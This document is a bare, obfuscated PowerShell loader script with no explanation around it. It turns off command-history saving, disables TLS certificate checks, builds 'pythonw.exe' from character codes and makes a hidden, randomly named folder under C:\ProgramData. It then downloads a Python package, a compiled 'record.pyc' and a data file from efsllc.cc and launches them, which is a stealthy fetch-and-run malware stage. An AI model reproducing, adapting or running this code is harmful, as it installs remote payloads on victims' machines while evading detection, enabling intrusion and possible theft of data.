Set-PSReadlineOption -HistorySaveStyle SaveNothing;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls13;
$jtDpJ8fJ=@(Get-ChildItem 'C:\ProgramData' -Directory -EA SilentlyContinue | Where-Object { $_.Name.EndsWith('zz') });
$AB0OTPUUKS=$false;
$zArtAHUvL=(-join @([char]112, [char]121, [char]116, [char]104, [char]111, [char]110, [char]119, [char]46, [char]101, [char]120, [char]101));
if($jtDpJ8fJ.Count -gt 0){$NeF62Vs=@(Get-CimInstance Win32_Process -Filter "Name='$zArtAHUvL'" -EA SilentlyContinue);
foreach($hcBkU1reXUh in $jtDpJ8fJ){foreach($UJNvh08TTiQ in $NeF62Vs){$YcAoDB3=$UJNvh08TTiQ.ExecutablePath;
if($YcAoDB3 -and $YcAoDB3.StartsWith(($hcBkU1reXUh.FullName.TrimEnd('\')+'\'),[StringComparison]::OrdinalIgnoreCase)){$AB0OTPUUKS=$true;
break}}if($AB0OTPUUKS){break}}};
if($AB0OTPUUKS){return};
if($jtDpJ8fJ.Count -gt 0){$TcJKNoIluK=$jtDpJ8fJ[0].FullName;
$IJD6ts0mh=$jtDpJ8fJ[0].Name}else{$iPgHxZL='abcdefghijkmnopqrstuvwxyzABCEFGHJKLMNPQRSTUVWXYZ0123456789!';
$x3GTJAPQ=New-Object System.Random;
$IJD6ts0mh='';
for($zDjgKJrFp5c=0;
$zDjgKJrFp5c -lt 8;
$zDjgKJrFp5c++){$IJD6ts0mh+=$iPgHxZL[$x3GTJAPQ.Next(0,$iPgHxZL.Length)]};
$IJD6ts0mh+='zz';
$TcJKNoIluK="C:\ProgramData\$IJD6ts0mh";
New-Item -ItemType Directory -Path $TcJKNoIluK -Force -EA SilentlyContinue|Out-Null};
$BtS3sEkS="C:\ProgramData\$IJD6ts0mh.zip";
$XiItSDjYXJR=New-Object System.Net.WebClient;
$VwainqvG6vP="""$TcJKNoIluK\record.pyc""";
$mliKhO4hpR="$TcJKNoIluK\"+$zArtAHUvL;
$HLqGZKI="$TcJKNoIluK\naficf_mash.dat";
[System.IO.File]::WriteAllBytes($BtS3sEkS,$XiItSDjYXJR.DownloadData('http://efsllc.cc/downloads/Python.zip'));
Expand-Archive $BtS3sEkS -DestinationPath $TcJKNoIluK -Force;
[System.IO.File]::WriteAllBytes("$TcJKNoIluK\record.pyc",$XiItSDjYXJR.DownloadData('http://efsllc.cc/downloads/record.pyc'));
[System.IO.File]::WriteAllBytes($HLqGZKI,$XiItSDjYXJR.DownloadData('http://efsllc.cc/downloads/naficf_mash.dat'));
Start-Process $mliKhO4hpR -ArgumentList $VwainqvG6vP